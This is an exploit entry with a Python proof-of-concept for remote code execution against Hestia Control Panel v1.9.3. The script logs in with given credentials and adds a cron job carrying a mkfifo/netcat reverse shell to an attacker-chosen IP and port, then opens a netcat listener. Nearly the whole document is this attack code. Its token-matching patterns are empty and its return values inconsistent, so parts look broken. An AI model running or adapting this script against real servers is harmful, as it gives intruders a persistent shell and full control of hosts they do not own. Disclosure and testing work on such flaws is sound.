# Exploit Title: Hestia Control Panel Remote Code Execution # Google Dork: N/A # Date: 05-03-2025 # Exploit Author: Buğra Enis Dönmez (n3c1) # Vendor Homepage: https://hestiacp.com/ # Software Link: https://hestiacp.com/ # Version: v1.9.3 # Tested on: Windows # Python POC import requests import argparse import subprocess import urllib3 import re urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def login(url, username, password): session = requests.Session() token_response = session.get(f"{url}/login/", verify=False) match = re.search(r'', token_response.text) if not match: print("Failed to retrieve login token") return None, None token = match.group(1) username_data = {"token": token, "user": username} username_response = session.post(f"{url}/login/", data=username_data, verify=False) match = re.search(r'', username_response.text) if not match: print("Failed to retrieve password token") return None, None token = match.group(1) password_data = {"token": token, "password": password} password_response = session.post(f"{url}/login/", data=password_data, verify=False) if "login" in password_response.url: print("Login failed!") return None, None print("Login successful!") return session, session.cookies.get("PHPSESSID"), token def create_cron(url, session, phpsessid, listener_ip, listener_port, token): cron_payload = ( f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {listener_ip} {listener_port} >/tmp/f" ) cron_data = { "token": token, "ok": "Add", "v_cmd": cron_payload, "v_min": "*", "v_hour": "*", "v_day": "*", "v_month": "*", "v_wday": "*", } headers = { "Referer": f"{url}/add/cron/", "Origin": url, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:110.0) Gecko/20100101 Firefox/110.0", "X-Requested-With": "XMLHttpRequest" } cron_response = session.post(f"{url}/add/cron/", data=cron_data, cookies={"PHPSESSID": phpsessid}, headers=headers, verify=False) if "cron" in cron_response.url: print("Cronjob successfully generated!") return True print("Failed to create cronjob.") return False def open_listener(ip, port): print("Opening listener...") try: subprocess.run(["nc", "-vv", "-l", "-p", str(port), "-n"], check=True) except subprocess.CalledProcessError as e: print("Error starting listener:", e) except Exception as e: print("Unexpected error:", e) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit script for creating cronjobs.") parser.add_argument("-url", required=True, help="Target URL with port (e.g., https://example.com:8083)") parser.add_argument("-u", required=True, help="Username") parser.add_argument("-p", required=True, help="Password") parser.add_argument("-ip", required=True, help="Listener IP") parser.add_argument("-port", required=True, type=int, help="Listener Port") args = parser.parse_args() session, phpsessid, token = login(args.url, args.u, args.p) if session and phpsessid: if create_cron(args.url, session, phpsessid, args.ip, args.port, token): open_listener(args.ip, args.port)